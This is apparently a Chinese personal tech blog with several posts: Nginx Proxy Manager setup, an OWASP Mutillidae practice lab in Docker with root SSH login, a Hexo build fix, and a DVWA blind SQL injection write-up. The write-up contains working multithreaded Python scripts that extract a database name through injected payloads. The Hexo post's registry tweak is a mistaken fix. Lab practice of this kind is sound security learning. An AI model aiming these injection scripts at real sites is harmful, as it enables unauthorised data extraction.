# Nginx Proxy Manager 安装与使用指南

## 前言

这篇文章介绍了如何安装 **Nginx Proxy Manager**，一款基于 Nginx 的反向代理管理工具，以及在使用过程中可能遇到的问题和解决方法。文章提供了安装和配置 Nginx Proxy Manager 的简要步骤，并详细介绍了如何避免常见问题，例如无法反代某些网站、SSL 证书配置错误等。通过本文提供的避坑指南，你可以更轻松地使用 Nginx Proxy Manager，享受更好的反向代理体验。
## 使用`Docker`安装
### 拉取镜像
```bash
docker pull jc21/nginx-proxy-manager:latest
```
### 使用镜像构建容器
```bash
docker run -d -p 80:80 -p 81:81 -p 443:443 --restart=always -v ~/data:/data -v ~/letsencrypt:/etc/letsencrypt jc21/nginx-proxy-manager:latest
```
- docker run：这是 Docker 用来创建和启动容器的命令。
- -d：表示以守护进程模式运行容器，即在后台运行。
- -p 80:80：将容器内部的 80 端口映射到宿主机的 80 端口，通常用于 HTTP 服务。
- -p 81:81：将容器内部的 81 端口映射到宿主机的 81 端口，可能用于其他服务或管理界面。
- -p 443:443：将容器内部的 443 端口映射到宿主机的 443 端口，通常用于 HTTPS 服务。
- --restart=always：设置容器的重启策略为始终尝试重启容器。
- -v ~/data:/data：将宿主机的 ~/data 目录挂载到容器的 /data 目录，用于持久化存储数据。
- -v ~/letsencrypt:/etc/letsencrypt：将宿主机的 ~/letsencrypt 目录挂载到容器的 /etc/letsencrypt 目录，用于存储 Let's Encrypt 证书。
- jc21/nginx-proxy-manager:latest：指定要运行的 Docker 镜像名称和标签，这里是 nginx-proxy-manager 的最新版本。
## 使用`Docker Compose`安装

### 安装 Docker 和 Docker Compose

Nginx Proxy Manager 是通过 **Docker** 部署的，因此首先需要在你的服务器上安装 **Docker** 和 **Docker Compose**

对于大多数 Linux 发行版，可以使用以下命令安装 Docker：

```bash
curl -fsSL https://get.docker.com > get-docker.sh
sudo sh get-docker.sh
sudo systemctl enable docker
sudo systemctl start docker
sudo usermod -aG docker $USER
```

### 接下来，安装 Docker Compose：
```bash
sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
```

### 配置 Nginx Proxy Manager
创建一个新目录来存放 Nginx Proxy Manager 的配置文件和数据：

```bash
mkdir nginx-proxy-manager
cd nginx-proxy-manager
```
在该目录下创建一个名为 **docker-compose.yml** 的文件，并添加以下内容：
```bash
version: '3'
services:
 app:
 image: jc21/nginx-proxy-manager:latest
 restart: always
 ports:
 - "80:80"
 - "81:81"
 - "443:443"
 environment:
 - DB_MYSQL_HOST=db
 - DB_MYSQL_PORT=3306
 - DB_MYSQL_USER=npm
 - DB_MYSQL_PASSWORD=npm
 - DB_MYSQL_NAME=npm
 volumes:
 - ./data:/data
 - ./letsencrypt:/etc/letsencrypt
 db:
 image: yobasystems/alpine-mariadb:latest
 restart: always
 environment:
 - MYSQL_ROOT_PASSWORD=npm
 - MYSQL_DATABASE=npm
 - MYSQL_USER=npm
 - MYSQL_PASSWORD=npm
 volumes:
 - ./data/mysql:/var/lib/mysql
 ```
 
### 启动 Nginx Proxy Manager
在包含 **docker-compose.yml** 文件的目录中，运行以下命令启动 Nginx Proxy Manager 和数据库容器：
```bash
docker-compose up -d
```
### 访问 Nginx Proxy Manager 管理界面
等待几分钟，让容器启动并初始化。然后在浏览器中访问服务器的 IP 地址或域名，端口为 81。例如：http://your-server-ip:81。默认的管理员用户名和密码分别为 admin@example.com 和 changeme。首次登录后，请确保更改默认密码。

## 避坑
### 检查目标服务器
确保你反代的网站可以正常访问。在浏览器或使用 curl 命令检查目标网站是否正常运行。

### 检查 Nginx Proxy Manager 的反向代理设置
登录到 Nginx Proxy Manager 管理界面，然后依次点击 "Proxy Hosts" > "Add Proxy Host"。确保以下设置正确：

- 域名：在 "Domain Names" 区域中输入你要使用的域名。
- 协议：在 "Scheme" 区域选择 "https"。
- 转发主机名和端口：在 "Forward Hostname / IP" 区域中输入目标服务器的地址，并在 "Forward Port" 区域中输入端口号，例如：443。
- WebSocket 支持：如果目标网站使用了 WebSocket，确保勾选 "Websockets"。
- 检查 SSL 证书
由于目标网站使用了 HTTPS，你可能需要为反向代理域名配置 SSL 证书。在 Nginx Proxy Manager 的 "Proxy Hosts" 选项卡中，找到刚刚创建的反向代理条目，然后点击右侧的绿色 "Edit" 图标。切换到 "SSL" 选项卡，选择 "Request a new SSL Certificate"，勾选 "Force SSL" 和 "HTTP/2 Support"，然后点击 "Save"。

### 检查 Nginx 配置
如果问题仍然存在，可以查看 Nginx Proxy Manager 生成的 Nginx 配置文件。在你创建的 "nginx-proxy-manager" 目录中，找到 "data/nginx/proxy_host" 目录。在这个目录下，找到与你的域名相关的配置文件（例如，2.conf），检查其中的反向代理设置是否正确。

### 重启 Nginx Proxy Manager
在某些情况下，重启 Nginx Proxy Manager 可能有助于解决问题。在包含 docker-compose.yml 文件的目录中，运行以下命令：
```bash
docker-compose down
docker-compose up -d
```
### 修改 Nginx 配置以传递主机头
尝试修改 Nginx Proxy Manager 生成的配置文件，以将原始主机头传递给目标服务器。在 2.conf 文件中找到以下行：
```bash
include conf.d/include/proxy.conf;
```
然后将其替换为以下内容：
```bash
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $http_host;
proxy_set_header X-Forwarded-Port $server_port;
proxy_pass $forward_scheme://$server:$port;
```
保存更改后，需要重启 Nginx Proxy Manager 以使更改生效。

### 检查网络连接和防火墙设置
确保没有任何网络连接问题或防火墙设置阻止了请求。检查服务器上的防火墙规则，确保允许通过 80、443 和 81 端口的传入连接。同时，确认目标服务器的防火墙设置允许从 Nginx Proxy Manager 发起的连接。

使用ubuntu默认的**ufw**防火墙来开放端口
```bash
sudo ufw allow 80/tcp
sudo ufw allow 81/tcp
sudo ufw allow 443/tcp
```

Nginx Proxy Manager安装及避坑指南

https://github.com/CasearF/Xiaomi-Mall-Home
小米商城首页（Someone's practical training assignment）

Xiaomi-Mall-Home

# 安装及配置容器

**拉取镜像**，这里使用的是[OWASP Mutillidae II 靶场](https://github.com/webpwnized/mutillidae)
```bash
docker pull citizenstig/nowasp
```
**启动容器**，在启动容器的时候要使用`-p`参数来提前映射好所需的端口。这里映射了正常的80端口和额外的10008端口，10008端口用来充当docker内部的ssh的端口
```bash
docker run -d -p 80:80 -p 10008:10008 citizenstig/nowasp
```
**查看容器状态**，使用`docker ps`或`docker ps -a`

![image.png](https://img.casear.net/img/7f2b480b164190ea541be9c9c1d3323e.image.webp)

**设置docker和指定容器自启动**

```bash
#设置docker自启动
systemctl enable docker
#设置容器自启动
docker update --restart=always <容器id>
```
**进入容器**,`docker exec -it <容器id> /bin/bash`

![image.png](https://img.casear.net/img/6fe80b960cde1d1f372e95407fded586.image.webp)

**安装ssh**,更新软件包和安装ssh
```bash
apt-get update
apt-get install openssh-server openssh-client ssh vim
```
**修改ssh信息**，以对应启动容器时映射的端口
```bash
#修改ssh的配置文件
vim /etc/ssh/sshd_config
```
在**sshd_config**修改以下内容
```bash

#修改端口为映射的端口
Port 10008
#允许root用户使用ssh登录
PermitRootLogin yes
```
**重启ssh服务**
```bash
/etc/init.d/ssh restart
```
**设置密码**
```bash
passwd root
```
**设置自启动ssh**

打开文件/root/.bashrc`vim /root/.bashrc` 
在`.bashrc`末尾添加`service ssh start`
# 使用vscode配置
在vscode主页面 $\color{red}{ctrl}$ + $\color{red}{shift}$ + $\color{red}{p}$
![image.png](https://img.casear.net/img/37f90406c69c35f7351a01974a213587.image.webp)
选择自己的配置文件，不知道选哪个就第一个

![image.png](https://img.casear.net/img/a1f71ce8f0fcac4462556671ea8fb518.image.webp)

在文件中添加

![image.png](https://img.casear.net/img/25b759358dd7aa0c43b4274d8c5db5b5.image.webp)
```模板
Host <name>
 HostName <服务器IP>
 Port 10008
 User root
 ForwardAgent yes
```
完成后即可正常使用

![image.png](https://img.casear.net/img/7bdab04446443d1a853530c48e2143f2.image.webp)

vscode连接docker查看代码

# Hexo 生成网页时文件打开数量限制问题解决方案

最近在尝试使用Hexo做一些简单的网页，如[Casear的信息安全周刊](http://qwerty.casear.cn/)。但昨天想起来[linux中国](https://linux.cn/)归档了全部文章的标准数据集，其中正好有标准的 Markdown 格式的数据，而Hexo正是使用Markdown来生成页面的，就简单尝试了一下。

但在实际生成的时候经常会报 `EMFILE: too many open files` 和 `ERROR Process failed`，这意味着你的应用程序已经打开了太多的文件，超出了操作系统允许的数量限制。查阅教程后发现Linux可以临时增加限制，但windows需要修改注册表，感觉windows上的有点麻烦。但实际操作后发现这两种方法都没有什么实质性改变。
## 在Linux系统中，可以通过以下命令临时增加文件打开的限制：
```
ulimit -n 4096
```
## 在Windows系统中，通常需要修改系统注册表来增加文件打开的限制
但如果使用的是较新的Windows版本（如Windows 10或Windows 11），可以尝试使用 Set-ItemProperty 命令来修改限制：
```
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name "LongPathsEnabled" -Value 1
```

后来查询Hexo的官方文档后发现了 `-c` 参数，命令：在生成博客的时候，使用参数 `-c`，代表生成博客时线程的数量。

```bash
hexo g -c 8
```
使用-c参数后速度和稳定性也会大幅增加，生成基本是一遍过

使用Hexo生成大量页面时卡死问题解决

加入多线程&多进程

## 新版本
```python
import concurrent.futures
import requests
from bs4 import BeautifulSoup


def run_code(demot):
 texterr = "User ID is MISSING from the database."
 base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
 session_id = "8tuabbh2e1oiv0c2flpn3jbvk4"

 params = {"id": demot, "Submit": "Submit"}
 cookies = {"PHPSESSID": session_id, "security": "low"}

 response = requests.get(base_url, params=params, cookies=cookies)
 print(response.status_code)

 soup = BeautifulSoup(response.text, "html.parser")
 search_results = soup.find_all("pre")
 print(search_results)
 print(demot)
 for result in search_results:
 text = result.text.strip()
 print(text)
 if (text != texterr) and ("User ID exists in the database." in text):
 with open("example.txt", "a") as file:
 file.write(demot + "\n")


# 多线程运行
# if __name__ == "__main__":
# demots = list(range(1, 200)) # 保存所有需要运行的demot
# max_threads = 10 # 最大线程数
# with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
# for i in range(1, 6):
# for demo in range(1, 128):
# demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
# executor.submit(run_code, demot)


# 多进程
if __name__ == "__main__":
 max_processes = 60
 with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor:
 for i in range(1, 6):
 for demo in range(1, 128):
 # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
 demot = f"1'and ord(substr(database(),{i},1))= {demo} #"
 executor.submit(run_code, demot)

```

## 旧版本
```python
import requests
from bs4 import BeautifulSoup

texterr = "User ID is MISSING from the database."
base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
session_id = "sb35jegkjt33kjgovvptbua022"

for i in range(1, 5):
 for demo in range(1, 128):
 demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #"
 params = {"id": demot, "Submit": "Submit"}
 cookies = {"PHPSESSID": session_id, "security": "low"}

 response = requests.get(base_url, params=params, cookies=cookies)

 soup = BeautifulSoup(response.text, "html.parser")
 search_results = soup.find_all("pre")
 for result in search_results:
 text = result.text.strip()
 print(demot)
 if (text != texterr) and ("User ID exists in the database." in text):
 with open("example.txt", "a") as file:
 file.write(demot + "\n")
 break

```
1. 导入了requests和BeautifulSoup模块，分别用于发送HTTP请求和解析HTML页面。 
2. 定义了一个错误信息变量texterr，以及目标网站的基本URL和会话ID。 
3. 使用嵌套循环，遍历数据库名称1-4的ASCII码。 
4. 构造Payload字符串demot，然后将其作为参数发送到目标网址。 
5. 从响应中解析出页面内容，然后在页面中查找包含响应文本的标签（pre）的内容。 
6. 检查每个找到的结果，如果文本不等于错误信息并且包含指定提示，则将查询字符串写入到文件"example.txt"中，并且停止当前循环。 
7. 由于在实际测试中测试Payload会返回一个404响应，但其并不影响页面的返回，故没有设置检查响应码


:::info{title="相关信息"}
新版本使用了`concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor `创建了一个进程池执行器（ProcessPoolExecutor），设置最大工作进程数为`max_processes`

来达到加速测试的效果
:::
以下是对python的多线程和多进程的优劣关系和应用场景的解释
## 多线程（Threading）

### 优点：

- **轻量级**：线程的创建和销毁比进程快，资源消耗较少。
- **共享内存**：线程间可以共享内存，数据传输简单。
- **I/O密集型**：如果爬虫主要受限于网络I/O，多线程可以有效地利用等待时间来执行其他任务。

### 缺点：

- **全局解释器锁（GIL）**：Python的CPython实现中的GIL限制了同一时间只能有一个线程执行，这意味着多线程并不能有效利用多核CPU进行并行计算。
- **资源限制**：操作系统对线程的数量有限制，过多的线程可能导致效率降低。

## 多进程（Multiprocessing）

### 优点：

- **绕过GIL**：每个进程有自己的Python解释器和内存空间，可以绕过GIL的限制，实现真正的并行执行。
- **CPU密集型**：如果爬虫任务是CPU密集型的，多进程可以更好地利用多核处理器。
- **稳定性**：进程间相互独立，一个进程崩溃不会影响其他进程。

### 缺点：

- **资源消耗**：进程的创建和销毁比线程慢，消耗的资源更多。
- **进程间通信（IPC）**：进程间需要通过IPC进行通信，这比线程间共享内存复杂。
- **数据共享**：进程间共享数据不如线程间方便，需要使用特定的IPC机制。

## 选择建议：

- **I/O密集型任务**：如果爬虫主要受限于网络请求和响应时间，多线程可能更合适，因为它可以更有效地利用等待时间。
- **CPU密集型任务**：如果爬虫涉及到大量的数据处理，多进程可能更合适，因为它可以利用多核CPU进行并行处理。
- **爬虫规模**：对于大规模的爬虫，多进程可能更有利于扩展和管理。
- **开发和维护成本**：多线程相对简单，但多进程虽然复杂但更稳定。

DVWA--SQL Injection(Blind)（盲注Python脚本）

如果你有机会到好望角，请在海边的石头上刻下我的故事👨‍💻